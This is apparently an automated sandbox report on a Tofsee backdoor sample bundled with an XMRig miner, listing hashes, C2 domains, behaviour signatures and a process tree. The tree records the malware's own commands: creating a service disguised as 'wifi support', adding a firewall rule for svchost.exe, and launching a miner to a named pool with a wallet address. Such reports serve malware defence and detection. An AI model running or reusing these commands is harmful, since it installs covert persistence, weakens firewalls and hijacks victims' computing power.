Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2023, 17:53

General

  • Target

    file.exe

  • Size

    262KB

  • MD5

    81f5904645e44483a57226ab60e0390b

  • SHA1

    0bd97534d23998b6d554b48bddd0015d199808ec

  • SHA256

    7291a205dba93db221ee6d6da61d00580f9ddbaf9424465522138b6cb1bbc1b7

  • SHA512

    5403b05a65105351fa5b6bc351b3613f930d16bbc0507045a340282029fdc688234fe3f92ef15fcdc9011650a3f96533f9254348bcf33159f381e8914abf281e

  • SSDEEP

    3072:pFzu3GMDmWLo3NrmuvLLCRpKbm/EJx9teHFKe0fk02q5XI7lVEaP:zzu2MqWLo9rmCXCR38biHF080VIjt

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1980
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fzfvyjq\
      2⤵
        PID:2832
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oaiflyec.exe" C:\Windows\SysWOW64\fzfvyjq\
        2⤵
          PID:2440
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fzfvyjq binPath= "C:\Windows\SysWOW64\fzfvyjq\oaiflyec.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2736
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fzfvyjq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2944
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fzfvyjq
          2⤵
          • Launches sc.exe
          PID:2344
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2744
      • C:\Windows\SysWOW64\fzfvyjq\oaiflyec.exe
        C:\Windows\SysWOW64\fzfvyjq\oaiflyec.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2940
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2748
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:472

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\oaiflyec.exe

              Filesize

              11.3MB

              MD5

              a204a9a4d44d4bea19f62a35d10630a5

              SHA1

              20460e03e0057ac3d0a2cc810e7b8aff6babf382

              SHA256

              e48ffad969d53ad1f8282e0e0e7599e34016c6b6e7aa8dff84cc657e120f70db

              SHA512

              dc8a6a7f87ea5b593a6ad854ee4c708edaef5f5b096e51948beaf03e4ad1a6919296a1162c152c3204a641dfe32f28d384d37562389213726b6b4e66312fb41f

            • C:\Windows\SysWOW64\fzfvyjq\oaiflyec.exe

              Filesize

              11.3MB

              MD5

              a204a9a4d44d4bea19f62a35d10630a5

              SHA1

              20460e03e0057ac3d0a2cc810e7b8aff6babf382

              SHA256

              e48ffad969d53ad1f8282e0e0e7599e34016c6b6e7aa8dff84cc657e120f70db

              SHA512

              dc8a6a7f87ea5b593a6ad854ee4c708edaef5f5b096e51948beaf03e4ad1a6919296a1162c152c3204a641dfe32f28d384d37562389213726b6b4e66312fb41f

            • memory/472-76-0x0000000000130000-0x0000000000221000-memory.dmp

              Filesize

              964KB

            • memory/472-78-0x0000000000130000-0x0000000000221000-memory.dmp

              Filesize

              964KB

            • memory/472-77-0x0000000000130000-0x0000000000221000-memory.dmp

              Filesize

              964KB

            • memory/472-75-0x0000000000130000-0x0000000000221000-memory.dmp

              Filesize

              964KB

            • memory/472-73-0x0000000000130000-0x0000000000221000-memory.dmp

              Filesize

              964KB

            • memory/472-74-0x0000000000130000-0x0000000000221000-memory.dmp

              Filesize

              964KB

            • memory/472-65-0x0000000000130000-0x0000000000221000-memory.dmp

              Filesize

              964KB

            • memory/472-63-0x0000000000130000-0x0000000000221000-memory.dmp

              Filesize

              964KB

            • memory/1980-4-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB

            • memory/1980-2-0x00000000001B0000-0x00000000001C3000-memory.dmp

              Filesize

              76KB

            • memory/1980-8-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB

            • memory/1980-10-0x00000000001B0000-0x00000000001C3000-memory.dmp

              Filesize

              76KB

            • memory/1980-1-0x0000000000270000-0x0000000000370000-memory.dmp

              Filesize

              1024KB

            • memory/2748-39-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-46-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-27-0x0000000001940000-0x0000000001B4F000-memory.dmp

              Filesize

              2.1MB

            • memory/2748-31-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-28-0x0000000000140000-0x0000000000146000-memory.dmp

              Filesize

              24KB

            • memory/2748-34-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-35-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-37-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-38-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-23-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2748-36-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-40-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-41-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-42-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-43-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-44-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-45-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-24-0x0000000001940000-0x0000000001B4F000-memory.dmp

              Filesize

              2.1MB

            • memory/2748-47-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-48-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-49-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-50-0x0000000000150000-0x0000000000160000-memory.dmp

              Filesize

              64KB

            • memory/2748-51-0x00000000001A0000-0x00000000001A5000-memory.dmp

              Filesize

              20KB

            • memory/2748-54-0x00000000001A0000-0x00000000001A5000-memory.dmp

              Filesize

              20KB

            • memory/2748-55-0x00000000058B0000-0x0000000005CBB000-memory.dmp

              Filesize

              4.0MB

            • memory/2748-58-0x00000000058B0000-0x0000000005CBB000-memory.dmp

              Filesize

              4.0MB

            • memory/2748-59-0x00000000001B0000-0x00000000001B7000-memory.dmp

              Filesize

              28KB

            • memory/2748-21-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2748-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2748-12-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2748-15-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2748-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2940-18-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB

            • memory/2940-9-0x00000000009F0000-0x0000000000AF0000-memory.dmp

              Filesize

              1024KB

            • memory/2940-11-0x0000000000400000-0x00000000008A7000-memory.dmp

              Filesize

              4.7MB